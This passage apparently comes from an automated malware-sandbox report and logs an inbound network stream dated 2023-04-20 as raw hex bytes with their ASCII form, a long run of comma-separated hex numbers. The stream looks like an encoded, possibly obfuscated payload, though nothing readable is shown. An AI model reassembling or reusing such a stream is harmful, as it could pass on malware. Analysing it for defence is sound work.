2023-04-20 23:04:21 UTC	7501	IN	Data Raw: 32 63 2c 31 30 63 2c 36 32 2c 31 30 36 2c 64 64 2c 34 65 2c 37 34 2c 31 34 30 2c 36 37 2c 65 61 2c 65 66 2c 31 32 36 2c 35 64 2c 62 36 2c 31 32 33 2c 66 66 2c 64 30 2c 37 30 2c 65 66 2c 62 66 2c 37 30 2c 31 31 37 2c 31 37 37 2c 61 32 2c 63 30 2c 31 31 65 2c 31 34 36 2c 31 35 33 2c 66 34 2c 35 66 2c 31 32 64 2c 37 66 2c 66 64 2c 31 34 34 2c 38 32 2c 66 64 2c 61 36 2c 35 39 2c 31 35 35 2c 31 35 62 2c 39 64 2c 31 30 32 2c 65 63 2c 62 34 2c 65 35 2c 31 33 31 2c 31 32 61 2c 36 36 2c 66 32 2c 64 36 2c 62 62 2c 62 39 2c 63 39 2c 64 33 2c 39 37 2c 38 36 2c 31 34 36 2c 31 30 64 2c 31 36 38 2c 36 37 2c 65 62 2c 64 61 2c 61 39 2c 31 31 30 2c 35 62 2c 34 64 2c 64 31 2c 31 35 62 2c 66 34 2c 39 32 2c 64 65 2c 36 39 2c 61 61 2c 65 30 2c 62 62 2c 31 32 66 2c 61 35 2c 64 Data Ascii: 2c,10c,62,106,dd,4e,74,140,67,ea,ef,126,5d,b6,123,ff,d0,70,ef,bf,70,117,177,a2,c0,11e,146,153,f4,5f,12d,7f,fd,144,82,fd,a6,59,155,15b,9d,102,ec,b4,e5,131,12a,66,f2,d6,bb,b9,c9,d3,97,86,146,10d,168,67,eb,da,a9,110,5b,4d,d1,15b,f4,92,de,69,aa,e0,bb,12f,a5,d
2023-04-20 23:04:21 UTC	7517	IN	Data Raw: 2c 31 33 34 2c 31 33 65 2c 31 32 39 2c 31 30 62 2c 39 38 2c 39 64 2c 36 31 2c 38 33 2c 64 35 2c 61 31 2c 61 63 2c 31 32 36 2c 35 62 2c 31 32 37 2c 31 33 30 2c 66 32 2c 38 36 2c 31 32 37 2c 62 37 2c 38 30 2c 31 36 63 2c 61 64 2c 66 35 2c 31 34 62 2c 31 30 63 2c 31 35 38 2c 65 34 2c 31 32 37 2c 34 61 2c 39 66 2c 35 38 2c 61 61 2c 31 33 30 2c 38 63 2c 37 64 2c 31 34 64 2c 64 35 2c 37 65 2c 31 33 61 2c 31 33 31 2c 39 32 2c 36 35 2c 61 33 2c 31 31 33 2c 61 36 2c 64 32 2c 37 31 2c 31 34 62 2c 64 66 2c 61 33 2c 63 37 2c 38 34 2c 65 30 2c 31 33 36 2c 35 61 2c 66 39 2c 65 38 2c 63 64 2c 35 66 2c 31 31 31 2c 31 30 38 2c 31 32 30 2c 34 31 2c 61 33 2c 62 63 2c 37 37 2c 31 35 33 2c 38 32 2c 38 66 2c 31 30 63 2c 61 36 2c 61 64 2c 61 32 2c 35 37 2c 31 33 31 2c 35 62 2c Data Ascii: ,134,13e,129,10b,98,9d,61,83,d5,a1,ac,126,5b,127,130,f2,86,127,b7,80,16c,ad,f5,14b,10c,158,e4,127,4a,9f,58,aa,130,8c,7d,14d,d5,7e,13a,131,92,65,a3,113,a6,d2,71,14b,df,a3,c7,84,e0,136,5a,f9,e8,cd,5f,111,108,120,41,a3,bc,77,153,82,8f,10c,a6,ad,a2,57,131,5b,
2023-04-20 23:04:21 UTC	7533	IN	Data Raw: 2c 37 37 2c 36 39 2c 31 32 37 2c 64 65 2c 31 34 32 2c 65 36 2c 35 35 2c 31 33 62 2c 38 31 2c 31 35 35 2c 34 66 2c 66 30 2c 31 30 37 2c 66 64 2c 31 31 63 2c 37 66 2c 65 39 2c 62 62 2c 37 61 2c 36 32 2c 31 34 37 2c 65 65 2c 37 66 2c 31 30 66 2c 31 35 32 2c 31 32 30 2c 31 33 36 2c 31 32 66 2c 31 30 63 2c 66 31 2c 39 35 2c 31 36 32 2c 35 61 2c 38 36 2c 31 32 39 2c 65 37 2c 62 66 2c 62 32 2c 61 37 2c 31 30 38 2c 39 39 2c 31 30 38 2c 62 63 2c 31 36 65 2c 31 30 35 2c 63 32 2c 65 33 2c 62 39 2c 39 64 2c 31 32 30 2c 37 63 2c 65 31 2c 64 65 2c 35 64 2c 31 34 33 2c 62 30 2c 31 30 35 2c 31 33 66 2c 31 33 32 2c 31 32 66 2c 37 34 2c 31 33 62 2c 38 65 2c 31 35 38 2c 39 34 2c 31 34 35 2c 31 30 38 2c 64 65 2c 35 39 2c 37 61 2c 36 33 2c 31 35 62 2c 37 31 2c 62 36 2c 39 38 Data Ascii: ,77,69,127,de,142,e6,55,13b,81,155,4f,f0,107,fd,11c,7f,e9,bb,7a,62,147,ee,7f,10f,152,120,136,12f,10c,f1,95,162,5a,86,129,e7,bf,b2,a7,108,99,108,bc,16e,105,c2,e3,b9,9d,120,7c,e1,de,5d,143,b0,105,13f,132,12f,74,13b,8e,158,94,145,108,de,59,7a,63,15b,71,b6,98
2023-04-20 23:04:21 UTC	7549	IN	Data Raw: 64 2c 31 32 62 2c 62 63 2c 63 65 2c 37 63 2c 31 35 36 2c 65 62 2c 37 30 2c 31 35 38 2c 38 36 2c 66 36 2c 62 62 2c 31 30 63 2c 31 35 35 2c 31 35 31 2c 31 33 35 2c 34 36 2c 31 30 34 2c 61 35 2c 63 36 2c 65 30 2c 31 31 31 2c 39 65 2c 61 37 2c 62 33 2c 31 31 62 2c 31 30 32 2c 38 38 2c 31 33 33 2c 38 65 2c 65 65 2c 31 33 30 2c 38 63 2c 65 32 2c 62 64 2c 66 36 2c 31 32 33 2c 31 34 61 2c 61 34 2c 38 35 2c 39 38 2c 66 30 2c 66 30 2c 31 32 63 2c 35 33 2c 31 36 64 2c 64 34 2c 35 64 2c 31 31 32 2c 65 35 2c 38 39 2c 31 31 65 2c 36 65 2c 62 37 2c 66 64 2c 36 66 2c 31 30 34 2c 64 65 2c 65 31 2c 64 63 2c 65 36 2c 31 31 63 2c 31 32 38 2c 38 65 2c 31 30 66 2c 31 33 64 2c 38 64 2c 62 39 2c 63 35 2c 36 61 2c 63 38 2c 61 30 2c 63 36 2c 63 61 2c 66 35 2c 63 32 2c 39 37 2c 31 Data Ascii: d,12b,bc,ce,7c,156,eb,70,158,86,f6,bb,10c,155,151,135,46,104,a5,c6,e0,111,9e,a7,b3,11b,102,88,133,8e,ee,130,8c,e2,bd,f6,123,14a,a4,85,98,f0,f0,12c,53,16d,d4,5d,112,e5,89,11e,6e,b7,fd,6f,104,de,e1,dc,e6,11c,128,8e,10f,13d,8d,b9,c5,6a,c8,a0,c6,ca,f5,c2,97,1
2023-04-20 23:04:21 UTC	7565	IN	Data Raw: 31 32 38 2c 64 63 2c 37 66 2c 39 66 2c 63 34 2c 35 63 2c 35 61 2c 31 30 39 2c 38 65 2c 31 34 61 2c 31 31 39 2c 62 66 2c 37 30 2c 31 32 65 2c 31 34 30 2c 31 34 36 2c 65 66 2c 35 36 2c 35 66 2c 36 61 2c 65 36 2c 63 66 2c 31 30 62 2c 36 38 2c 37 66 2c 61 35 2c 61 38 2c 62 31 2c 31 31 61 2c 38 61 2c 39 39 2c 37 65 2c 31 32 63 2c 37 64 2c 31 30 30 2c 31 30 63 2c 63 35 2c 31 31 31 2c 31 33 37 2c 31 36 30 2c 31 35 38 2c 63 34 2c 62 36 2c 31 33 66 2c 37 36 2c 38 35 2c 31 34 33 2c 38 35 2c 38 39 2c 31 33 63 2c 31 30 37 2c 38 65 2c 35 36 2c 35 64 2c 31 31 38 2c 31 32 33 2c 31 30 65 2c 34 37 2c 65 31 2c 61 64 2c 31 31 35 2c 38 39 2c 63 65 2c 31 35 62 2c 65 34 2c 31 30 35 2c 63 36 2c 63 35 2c 39 33 2c 35 37 2c 63 30 2c 61 66 2c 61 64 2c 31 35 66 2c 31 33 37 2c 31 34 Data Ascii: 128,dc,7f,9f,c4,5c,5a,109,8e,14a,119,bf,70,12e,140,146,ef,56,5f,6a,e6,cf,10b,68,7f,a5,a8,b1,11a,8a,99,7e,12c,7d,100,10c,c5,111,137,160,158,c4,b6,13f,76,85,143,85,89,13c,107,8e,56,5d,118,123,10e,47,e1,ad,115,89,ce,15b,e4,105,c6,c5,93,57,c0,af,ad,15f,137,14
2023-04-20 23:04:21 UTC	7581	IN	Data Raw: 2c 61 66 2c 63 35 2c 36 37 2c 31 34 65 2c 35 39 2c 31 34 34 2c 63 66 2c 63 35 2c 65 63 2c 31 35 30 2c 63 35 2c 31 32 33 2c 33 35 2c 35 63 2c 31 33 35 2c 62 65 2c 39 38 2c 31 32 34 2c 63 33 2c 31 33 34 2c 62 33 2c 61 36 2c 63 36 2c 37 30 2c 31 33 64 2c 31 33 65 2c 64 66 2c 31 31 63 2c 35 63 2c 64 32 2c 31 30 38 2c 63 31 2c 31 32 32 2c 61 38 2c 31 34 36 2c 38 35 2c 38 35 2c 66 34 2c 31 30 38 2c 31 30 62 2c 31 31 64 2c 31 31 36 2c 36 62 2c 37 38 2c 62 36 2c 35 39 2c 31 31 32 2c 35 63 2c 65 30 2c 31 30 62 2c 62 66 2c 31 30 65 2c 31 35 62 2c 62 65 2c 39 65 2c 65 32 2c 62 65 2c 31 36 61 2c 31 30 62 2c 36 36 2c 31 32 63 2c 64 61 2c 66 62 2c 31 32 36 2c 62 30 2c 31 33 61 2c 62 38 2c 37 63 2c 34 65 2c 35 62 2c 65 31 2c 39 32 2c 31 31 33 2c 35 62 2c 39 39 2c 38 66 Data Ascii: ,af,c5,67,14e,59,144,cf,c5,ec,150,c5,123,35,5c,135,be,98,124,c3,134,b3,a6,c6,70,13d,13e,df,11c,5c,d2,108,c1,122,a8,146,85,85,f4,108,10b,11d,116,6b,78,b6,59,112,5c,e0,10b,bf,10e,15b,be,9e,e2,be,16a,10b,66,12c,da,fb,126,b0,13a,b8,7c,4e,5b,e1,92,113,5b,99,8f
2023-04-20 23:04:21 UTC	7597	IN	Data Raw: 2c 31 33 31 2c 37 63 2c 31 32 66 2c 38 35 2c 31 34 37 2c 39 61 2c 31 30 61 2c 31 31 37 2c 63 39 2c 31 34 63 2c 62 66 2c 36 61 2c 66 63 2c 37 34 2c 61 63 2c 31 30 35 2c 31 31 38 2c 31 32 30 2c 61 38 2c 65 31 2c 31 30 37 2c 31 32 37 2c 31 34 65 2c 31 34 35 2c 63 35 2c 31 31 36 2c 39 34 2c 66 38 2c 65 61 2c 31 30 36 2c 61 61 2c 31 35 31 2c 65 63 2c 65 33 2c 31 33 63 2c 66 61 2c 31 31 35 2c 31 35 35 2c 64 35 2c 31 33 63 2c 66 38 2c 38 38 2c 39 65 2c 35 38 2c 31 31 32 2c 62 61 2c 39 61 2c 37 35 2c 31 33 64 2c 31 34 39 2c 31 32 61 2c 37 34 2c 36 38 2c 39 32 2c 64 35 2c 31 33 65 2c 31 33 66 2c 64 37 2c 37 65 2c 31 31 30 2c 35 63 2c 31 31 35 2c 64 33 2c 35 61 2c 31 32 64 2c 31 35 32 2c 31 36 32 2c 62 36 2c 31 36 63 2c 31 30 32 2c 35 37 2c 31 32 34 2c 66 33 2c 64 Data Ascii: ,131,7c,12f,85,147,9a,10a,117,c9,14c,bf,6a,fc,74,ac,105,118,120,a8,e1,107,127,14e,145,c5,116,94,f8,ea,106,aa,151,ec,e3,13c,fa,115,155,d5,13c,f8,88,9e,58,112,ba,9a,75,13d,149,12a,74,68,92,d5,13e,13f,d7,7e,110,5c,115,d3,5a,12d,152,162,b6,16c,102,57,124,f3,d
2023-04-20 23:04:21 UTC	7613	IN	Data Raw: 2c 36 39 2c 31 30 33 2c 38 32 2c 63 37 2c 31 33 39 2c 65 66 2c 31 30 32 2c 31 30 31 2c 38 37 2c 65 65 2c 64 34 2c 61 61 2c 39 34 2c 31 30 36 2c 63 34 2c 62 66 2c 31 33 38 2c 35 65 2c 31 35 37 2c 62 30 2c 31 35 63 2c 33 36 2c 61 61 2c 66 63 2c 37 33 2c 39 63 2c 39 65 2c 31 34 36 2c 61 30 2c 39 31 2c 33 64 2c 63 38 2c 34 66 2c 31 32 66 2c 31 31 61 2c 31 34 64 2c 31 35 34 2c 65 34 2c 39 65 2c 35 65 2c 66 63 2c 38 65 2c 31 35 33 2c 64 66 2c 65 37 2c 36 37 2c 65 36 2c 31 31 30 2c 34 31 2c 35 66 2c 31 35 64 2c 62 30 2c 37 36 2c 38 31 2c 66 35 2c 66 64 2c 66 37 2c 31 34 30 2c 31 32 39 2c 31 34 38 2c 31 31 37 2c 65 30 2c 39 65 2c 31 34 38 2c 31 30 61 2c 34 37 2c 31 31 38 2c 66 39 2c 64 35 2c 64 39 2c 39 33 2c 39 31 2c 31 31 39 2c 31 37 33 2c 64 33 2c 62 64 2c 38 Data Ascii: ,69,103,82,c7,139,ef,102,101,87,ee,d4,aa,94,106,c4,bf,138,5e,157,b0,15c,36,aa,fc,73,9c,9e,146,a0,91,3d,c8,4f,12f,11a,14d,154,e4,9e,5e,fc,8e,153,df,e7,67,e6,110,41,5f,15d,b0,76,81,f5,fd,f7,140,129,148,117,e0,9e,148,10a,47,118,f9,d5,d9,93,91,119,173,d3,bd,8
2023-04-20 23:04:21 UTC	7629	IN	Data Raw: 30 39 2c 63 66 2c 38 61 2c 66 61 2c 65 65 2c 66 30 2c 38 32 2c 66 39 2c 66 39 2c 64 36 2c 31 30 32 2c 61 39 2c 31 30 37 2c 64 65 2c 66 35 2c 36 37 2c 62 38 2c 66 33 2c 31 34 34 2c 64 36 2c 66 37 2c 39 66 2c 31 34 61 2c 65 61 2c 62 31 2c 37 36 2c 66 34 2c 37 37 2c 61 63 2c 38 64 2c 31 30 63 2c 64 65 2c 39 32 2c 66 63 2c 31 30 32 2c 61 30 2c 38 62 2c 31 30 33 2c 62 38 2c 37 64 2c 36 37 2c 31 33 61 2c 31 31 30 2c 39 64 2c 66 32 2c 63 38 2c 31 32 64 2c 31 30 32 2c 61 65 2c 65 37 2c 63 36 2c 31 31 61 2c 63 63 2c 66 66 2c 37 63 2c 31 36 63 2c 31 34 36 2c 31 30 63 2c 61 38 2c 63 64 2c 63 66 2c 35 34 2c 63 38 2c 31 35 62 2c 63 66 2c 38 37 2c 35 34 2c 38 33 2c 61 39 2c 31 32 34 2c 66 64 2c 31 34 38 2c 31 34 66 2c 35 30 2c 31 30 65 2c 38 63 2c 39 33 2c 31 30 62 2c Data Ascii: 09,cf,8a,fa,ee,f0,82,f9,f9,d6,102,a9,107,de,f5,67,b8,f3,144,d6,f7,9f,14a,ea,b1,76,f4,77,ac,8d,10c,de,92,fc,102,a0,8b,103,b8,7d,67,13a,110,9d,f2,c8,12d,102,ae,e7,c6,11a,cc,ff,7c,16c,146,10c,a8,cd,cf,54,c8,15b,cf,87,54,83,a9,124,fd,148,14f,50,10e,8c,93,10b,
2023-04-20 23:04:21 UTC	7645	IN	Data Raw: 32 32 2c 66 30 2c 31 33 31 2c 31 36 38 2c 31 33 64 2c 31 34 62 2c 61 63 2c 31 33 38 2c 62 33 2c 31 35 31 2c 31 31 35 2c 31 30 61 2c 31 30 61 2c 31 32 38 2c 37 34 2c 35 38 2c 31 34 66 2c 31 30 66 2c 37 33 2c 31 34 33 2c 66 34 2c 31 30 66 2c 31 31 66 2c 31 32 66 2c 62 33 2c 31 30 61 2c 36 35 2c 66 32 2c 31 33 33 2c 31 33 64 2c 31 32 65 2c 63 62 2c 34 30 2c 39 30 2c 35 63 2c 61 62 2c 63 32 2c 38 65 2c 31 30 66 2c 61 39 2c 61 37 2c 66 32 2c 31 31 35 2c 36 66 2c 66 34 2c 62 65 2c 31 31 34 2c 37 64 2c 37 39 2c 31 33 61 2c 37 66 2c 63 61 2c 31 32 38 2c 31 31 61 2c 31 31 65 2c 62 66 2c 38 64 2c 63 39 2c 31 30 30 2c 31 34 33 2c 31 31 66 2c 39 62 2c 39 35 2c 64 39 2c 31 33 33 2c 64 63 2c 31 31 61 2c 62 30 2c 31 31 61 2c 61 62 2c 65 33 2c 35 35 2c 66 62 2c 31 31 36 Data Ascii: 22,f0,131,168,13d,14b,ac,138,b3,151,115,10a,10a,128,74,58,14f,10f,73,143,f4,10f,11f,12f,b3,10a,65,f2,133,13d,12e,cb,40,90,5c,ab,c2,8e,10f,a9,a7,f2,115,6f,f4,be,114,7d,79,13a,7f,ca,128,11a,11e,bf,8d,c9,100,143,11f,9b,95,d9,133,dc,11a,b0,11a,ab,e3,55,fb,116
2023-04-20 23:04:21 UTC	7661	IN	Data Raw: 2c 65 33 2c 31 33 64 2c 31 35 33 2c 64 36 2c 63 63 2c 63 30 2c 64 36 2c 39 30 2c 66 34 2c 38 36 2c 31 31 35 2c 38 38 2c 65 34 2c 64 38 2c 31 30 36 2c 38 34 2c 34 31 2c 36 34 2c 31 32 64 2c 64 32 2c 66 65 2c 33 64 2c 38 31 2c 37 61 2c 62 66 2c 31 33 66 2c 65 39 2c 31 34 63 2c 31 32 33 2c 63 65 2c 31 32 66 2c 31 34 34 2c 62 36 2c 31 30 62 2c 66 33 2c 39 33 2c 31 34 62 2c 31 34 62 2c 61 32 2c 31 33 33 2c 62 39 2c 31 36 38 2c 39 38 2c 31 31 61 2c 65 39 2c 31 30 64 2c 64 65 2c 37 32 2c 38 36 2c 38 35 2c 31 30 39 2c 31 33 33 2c 31 35 38 2c 34 30 2c 31 35 65 2c 31 31 33 2c 38 34 2c 62 64 2c 37 35 2c 61 37 2c 63 38 2c 31 31 31 2c 63 36 2c 65 31 2c 39 37 2c 31 34 32 2c 63 32 2c 62 66 2c 38 37 2c 31 34 34 2c 66 61 2c 64 35 2c 63 36 2c 31 32 35 2c 37 65 2c 38 32 2c Data Ascii: ,e3,13d,153,d6,cc,c0,d6,90,f4,86,115,88,e4,d8,106,84,41,64,12d,d2,fe,3d,81,7a,bf,13f,e9,14c,123,ce,12f,144,b6,10b,f3,93,14b,14b,a2,133,b9,168,98,11a,e9,10d,de,72,86,85,109,133,158,40,15e,113,84,bd,75,a7,c8,111,c6,e1,97,142,c2,bf,87,144,fa,d5,c6,125,7e,82,
2023-04-20 23:04:21 UTC	7677	IN	Data Raw: 38 2c 36 30 2c 39 65 2c 31 32 33 2c 36 33 2c 31 35 32 2c 65 66 2c 31 33 65 2c 62 32 2c 31 36 37 2c 31 35 37 2c 36 62 2c 31 34 36 2c 62 32 2c 63 65 2c 31 34 62 2c 66 35 2c 61 64 2c 31 36 32 2c 38 31 2c 61 38 2c 63 31 2c 31 34 34 2c 61 37 2c 39 61 2c 31 31 66 2c 62 33 2c 39 35 2c 31 34 66 2c 37 65 2c 61 61 2c 65 30 2c 31 30 31 2c 62 31 2c 61 35 2c 31 30 37 2c 63 35 2c 31 32 35 2c 31 35 36 2c 36 65 2c 62 30 2c 66 33 2c 38 63 2c 31 30 36 2c 35 63 2c 37 36 2c 31 31 36 2c 31 32 31 2c 31 30 38 2c 61 34 2c 64 33 2c 35 64 2c 35 64 2c 31 31 38 2c 31 33 33 2c 61 30 2c 31 31 30 2c 34 31 2c 31 34 33 2c 31 34 38 2c 61 31 2c 65 65 2c 31 34 34 2c 65 32 2c 63 62 2c 63 32 2c 31 35 31 2c 31 32 39 2c 61 37 2c 61 32 2c 39 35 2c 61 30 2c 62 32 2c 31 32 33 2c 38 33 2c 65 37 2c Data Ascii: 8,60,9e,123,63,152,ef,13e,b2,167,157,6b,146,b2,ce,14b,f5,ad,162,81,a8,c1,144,a7,9a,11f,b3,95,14f,7e,aa,e0,101,b1,a5,107,c5,125,156,6e,b0,f3,8c,106,5c,76,116,121,108,a4,d3,5d,5d,118,133,a0,110,41,143,148,a1,ee,144,e2,cb,c2,151,129,a7,a2,95,a0,b2,123,83,e7,
2023-04-20 23:04:21 UTC	7693	IN	Data Raw: 61 30 2c 61 36 2c 39 36 2c 62 33 2c 34 34 2c 37 32 2c 66 36 2c 31 30 34 2c 31 35 62 2c 31 33 30 2c 38 65 2c 62 62 2c 31 36 65 2c 31 31 33 2c 36 33 2c 64 62 2c 65 61 2c 61 63 2c 31 33 39 2c 31 32 31 2c 63 64 2c 37 30 2c 31 31 31 2c 31 34 35 2c 31 30 33 2c 37 65 2c 66 36 2c 63 37 2c 34 30 2c 31 30 35 2c 39 39 2c 65 32 2c 31 31 30 2c 31 32 63 2c 31 32 62 2c 38 33 2c 34 66 2c 31 34 31 2c 62 32 2c 61 32 2c 31 33 35 2c 65 64 2c 62 63 2c 31 30 32 2c 31 32 34 2c 31 34 64 2c 36 30 2c 38 39 2c 61 39 2c 37 64 2c 31 34 39 2c 31 30 33 2c 66 62 2c 64 61 2c 33 61 2c 38 38 2c 63 32 2c 61 37 2c 31 33 30 2c 31 30 62 2c 31 33 31 2c 31 31 66 2c 35 64 2c 31 36 61 2c 31 33 32 2c 37 62 2c 63 38 2c 66 30 2c 65 35 2c 61 37 2c 61 64 2c 39 38 2c 31 34 63 2c 62 32 2c 66 64 2c 35 63 Data Ascii: a0,a6,96,b3,44,72,f6,104,15b,130,8e,bb,16e,113,63,db,ea,ac,139,121,cd,70,111,145,103,7e,f6,c7,40,105,99,e2,110,12c,12b,83,4f,141,b2,a2,135,ed,bc,102,124,14d,60,89,a9,7d,149,103,fb,da,3a,88,c2,a7,130,10b,131,11f,5d,16a,132,7b,c8,f0,e5,a7,ad,98,14c,b2,fd,5c
2023-04-20 23:04:21 UTC	7709	IN	Data Raw: 61 37 2c 31 32 63 2c 39 64 2c 39 34 2c 31 32 32 2c 31 33 63 2c 36 36 2c 31 30 61 2c 31 34 62 2c 64 36 2c 35 65 2c 31 33 62 2c 62 38 2c 31 32 37 2c 31 31 61 2c 37 66 2c 31 31 61 2c 35 62 2c 62 37 2c 39 33 2c 31 30 37 2c 63 66 2c 63 66 2c 32 65 2c 31 34 33 2c 35 64 2c 63 63 2c 31 30 38 2c 62 37 2c 31 31 31 2c 31 30 65 2c 61 35 2c 64 36 2c 39 61 2c 37 61 2c 62 38 2c 61 33 2c 65 63 2c 65 63 2c 64 65 2c 31 32 63 2c 31 33 36 2c 31 30 32 2c 31 34 33 2c 65 64 2c 31 32 30 2c 31 34 64 2c 31 31 61 2c 66 31 2c 31 31 61 2c 31 32 30 2c 31 36 64 2c 31 33 34 2c 31 34 61 2c 64 32 2c 31 31 31 2c 35 61 2c 31 32 39 2c 39 31 2c 65 31 2c 31 35 36 2c 31 34 33 2c 39 62 2c 65 34 2c 66 30 2c 61 39 2c 31 32 66 2c 31 32 66 2c 31 36 32 2c 36 63 2c 39 36 2c 31 32 34 2c 31 33 39 2c 64 Data Ascii: a7,12c,9d,94,122,13c,66,10a,14b,d6,5e,13b,b8,127,11a,7f,11a,5b,b7,93,107,cf,cf,2e,143,5d,cc,108,b7,111,10e,a5,d6,9a,7a,b8,a3,ec,ec,de,12c,136,102,143,ed,120,14d,11a,f1,11a,120,16d,134,14a,d2,111,5a,129,91,e1,156,143,9b,e4,f0,a9,12f,12f,162,6c,96,124,139,d
2023-04-20 23:04:21 UTC	7725	IN	Data Raw: 30 64 2c 35 61 2c 38 38 2c 63 38 2c 65 32 2c 31 34 31 2c 31 33 33 2c 64 31 2c 31 30 35 2c 61 64 2c 38 32 2c 31 34 31 2c 62 35 2c 62 65 2c 62 32 2c 31 31 66 2c 63 30 2c 61 30 2c 37 63 2c 31 32 39 2c 36 30 2c 61 62 2c 64 39 2c 36 37 2c 37 38 2c 31 31 31 2c 31 32 38 2c 65 65 2c 31 32 65 2c 64 62 2c 38 34 2c 37 62 2c 62 36 2c 36 34 2c 65 63 2c 66 62 2c 31 36 30 2c 31 31 33 2c 31 33 33 2c 66 62 2c 64 65 2c 31 33 34 2c 64 62 2c 39 63 2c 31 36 63 2c 39 66 2c 31 34 61 2c 38 39 2c 31 36 33 2c 31 33 33 2c 39 66 2c 31 32 36 2c 62 61 2c 31 33 31 2c 36 32 2c 63 34 2c 62 34 2c 64 63 2c 62 64 2c 63 63 2c 66 31 2c 31 35 62 2c 39 34 2c 31 33 62 2c 37 35 2c 31 33 62 2c 65 34 2c 31 33 35 2c 62 64 2c 36 31 2c 66 63 2c 61 35 2c 34 61 2c 31 33 30 2c 62 34 2c 66 31 2c 31 35 35 Data Ascii: 0d,5a,88,c8,e2,141,133,d1,105,ad,82,141,b5,be,b2,11f,c0,a0,7c,129,60,ab,d9,67,78,111,128,ee,12e,db,84,7b,b6,64,ec,fb,160,113,133,fb,de,134,db,9c,16c,9f,14a,89,163,133,9f,126,ba,131,62,c4,b4,dc,bd,cc,f1,15b,94,13b,75,13b,e4,135,bd,61,fc,a5,4a,130,b4,f1,155
2023-04-20 23:04:21 UTC	7741	IN	Data Raw: 2c 31 32 30 2c 35 30 2c 31 32 36 2c 31 32 38 2c 37 39 2c 36 38 2c 31 33 39 2c 61 36 2c 64 30 2c 33 61 2c 62 62 2c 31 34 62 2c 31 30 63 2c 31 36 34 2c 63 66 2c 62 35 2c 65 33 2c 31 35 35 2c 31 35 32 2c 31 35 34 2c 37 37 2c 31 32 61 2c 38 33 2c 64 32 2c 31 32 66 2c 36 39 2c 31 33 66 2c 61 39 2c 31 34 35 2c 36 39 2c 31 33 34 2c 65 36 2c 31 36 31 2c 39 61 2c 65 30 2c 37 38 2c 31 30 61 2c 31 32 38 2c 31 34 36 2c 62 36 2c 31 30 64 2c 61 35 2c 31 31 66 2c 37 35 2c 65 63 2c 31 31 30 2c 39 62 2c 66 65 2c 35 36 2c 64 39 2c 31 33 33 2c 66 64 2c 31 32 38 2c 38 34 2c 31 31 34 2c 64 61 2c 31 33 66 2c 37 31 2c 31 31 32 2c 31 32 34 2c 31 33 33 2c 31 30 34 2c 31 31 66 2c 61 38 2c 31 30 39 2c 36 37 2c 66 62 2c 31 34 31 2c 31 32 37 2c 31 30 62 2c 31 34 34 2c 38 34 2c 37 36 Data Ascii: ,120,50,126,128,79,68,139,a6,d0,3a,bb,14b,10c,164,cf,b5,e3,155,152,154,77,12a,83,d2,12f,69,13f,a9,145,69,134,e6,161,9a,e0,78,10a,128,146,b6,10d,a5,11f,75,ec,110,9b,fe,56,d9,133,fd,128,84,114,da,13f,71,112,124,133,104,11f,a8,109,67,fb,141,127,10b,144,84,76
2023-04-20 23:04:21 UTC	7757	IN	Data Raw: 2c 32 64 2c 63 66 2c 31 30 66 2c 38 62 2c 31 31 38 2c 61 61 2c 31 33 33 2c 64 38 2c 31 33 39 2c 31 30 35 2c 38 33 2c 66 30 2c 36 32 2c 31 36 63 2c 31 34 34 2c 31 30 35 2c 64 63 2c 37 35 2c 39 35 2c 31 33 30 2c 31 31 39 2c 62 66 2c 31 30 39 2c 31 31 38 2c 31 30 61 2c 38 39 2c 31 31 32 2c 31 34 64 2c 31 34 35 2c 61 39 2c 31 33 62 2c 31 31 37 2c 31 32 33 2c 37 65 2c 35 38 2c 65 39 2c 31 34 66 2c 31 31 34 2c 31 34 39 2c 31 32 63 2c 63 31 2c 37 61 2c 61 61 2c 38 64 2c 31 32 61 2c 31 34 38 2c 66 66 2c 62 38 2c 62 30 2c 37 30 2c 36 37 2c 35 39 2c 31 30 63 2c 31 33 65 2c 65 30 2c 31 31 38 2c 38 64 2c 31 33 39 2c 31 33 36 2c 37 65 2c 31 33 66 2c 31 33 63 2c 31 32 65 2c 31 30 65 2c 64 65 2c 35 38 2c 65 66 2c 66 65 2c 31 34 63 2c 31 35 65 2c 31 36 33 2c 35 38 2c 31 Data Ascii: ,2d,cf,10f,8b,118,aa,133,d8,139,105,83,f0,62,16c,144,105,dc,75,95,130,119,bf,109,118,10a,89,112,14d,145,a9,13b,117,123,7e,58,e9,14f,114,149,12c,c1,7a,aa,8d,12a,148,ff,b8,b0,70,67,59,10c,13e,e0,118,8d,139,136,7e,13f,13c,12e,10e,de,58,ef,fe,14c,15e,163,58,1
2023-04-20 23:04:21 UTC	7773	IN	Data Raw: 65 2c 31 31 62 2c 39 64 2c 62 39 2c 37 36 2c 66 61 2c 31 33 33 2c 36 62 2c 31 30 31 2c 39 38 2c 63 37 2c 31 32 35 2c 31 33 34 2c 33 37 2c 31 33 62 2c 66 64 2c 31 33 34 2c 61 62 2c 31 34 35 2c 31 31 62 2c 36 62 2c 31 34 65 2c 61 31 2c 61 66 2c 31 32 39 2c 62 30 2c 31 32 63 2c 31 31 39 2c 36 62 2c 31 33 65 2c 66 35 2c 31 30 34 2c 31 36 30 2c 31 31 37 2c 61 36 2c 31 36 39 2c 61 37 2c 31 31 36 2c 35 33 2c 38 30 2c 64 34 2c 61 38 2c 36 65 2c 37 62 2c 31 32 64 2c 66 61 2c 38 61 2c 31 31 65 2c 62 38 2c 65 32 2c 31 36 37 2c 38 34 2c 31 34 30 2c 31 30 61 2c 39 31 2c 61 66 2c 37 35 2c 35 64 2c 63 64 2c 65 36 2c 31 34 65 2c 64 35 2c 35 37 2c 61 63 2c 63 64 2c 31 34 30 2c 31 30 39 2c 64 31 2c 31 33 32 2c 64 63 2c 62 39 2c 66 31 2c 39 38 2c 64 32 2c 63 66 2c 66 64 2c Data Ascii: e,11b,9d,b9,76,fa,133,6b,101,98,c7,125,134,37,13b,fd,134,ab,145,11b,6b,14e,a1,af,129,b0,12c,119,6b,13e,f5,104,160,117,a6,169,a7,116,53,80,d4,a8,6e,7b,12d,fa,8a,11e,b8,e2,167,84,140,10a,91,af,75,5d,cd,e6,14e,d5,57,ac,cd,140,109,d1,132,dc,b9,f1,98,d2,cf,fd,
